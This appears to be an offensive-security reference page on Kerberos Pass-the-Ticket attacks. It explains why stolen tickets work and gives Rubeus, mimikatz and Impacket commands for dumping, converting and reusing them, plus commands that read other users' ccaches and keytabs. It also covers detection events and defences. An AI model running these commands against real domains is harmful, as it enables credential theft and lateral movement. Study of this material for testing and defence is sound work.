Pass-the-Ticket

Pass-the-Ticket (PtT) means reusing someone else's Kerberos ticket (a TGT or a TGS) by injecting it into our session to authenticate as its owner, without knowing their password or hash. It is the Kerberos counterpart of Pass-the-Hash: instead of a key, we steal the already-issued ticket.

Why it works. Kerberos keeps tickets in the session's memory (LSASS) or, on Linux, in a cache file (ccache). A ticket is a bearer token: whoever presents it is treated as the identity it contains, until it expires. If we extract the TGT of an account from a compromised host, we can act as that account against any domain service until it expires (a TGT lasts ~10 hours by default).

The abuse. On Windows you export tickets from memory and re-inject the one you want (/ptt). On Linux you point the KRB5CCNAME variable at the stolen ccache and use Impacket tools with -k -no-pass.

# Windows: list/export from memory and re-inject the ticket
Rubeus.exe triage
Rubeus.exe ptt /ticket:<ticket.kirbi>
# mimikatz: sekurlsa::tickets /export  ->  kerberos::ptt <ticket.kirbi>

# Linux: use a stolen ccache over Kerberos
export KRB5CCNAME=<ticket>.ccache
klist
psexec.py <domain>/<user>@<dc> -k -no-pass -target-ip <ip>

Convert ticket formats and locate tickets:

ticketConverter.py ticket.kirbi ticket.ccache   # kirbi (Windows) -> ccache (Linux)
ticketConverter.py ticket.ccache ticket.kirbi   # and back
klist -k -t /etc/krb5.keytab                     # tickets stored in a keytab
ls -la /tmp/krb5cc_*                             # other users' ccaches on Linux

Requirements. You need access to the tickets: privileges to dump LSASS memory (on Windows) or to read another user's ccache/keytab (on Linux). A TGT opens any service; a TGS only the service it was issued for. Once the ticket expires, it is useless.

How to detect it. A reused ticket produces TGS requests (Event ID 4769) from an IP or a machine different from where the TGT was issued, sometimes with no matching 4768 on that host. Supporting signals: the same TGT used from several machines, or Kerberos access from a host that never authenticated that account before. Correlating the ticket's source IP with its issuance point exposes the move.

Defence. Protect LSASS (Credential Guard) so tickets cannot be extracted, place sensitive accounts in Protected Users (which limits ticket caching and lifetime), and respond to a compromise by invalidating sessions. It chains with Overpass-the-Hash (which first requests a TGT with the key and then passes it) and with the Golden Ticket (where the ticket, rather than stolen, is forged).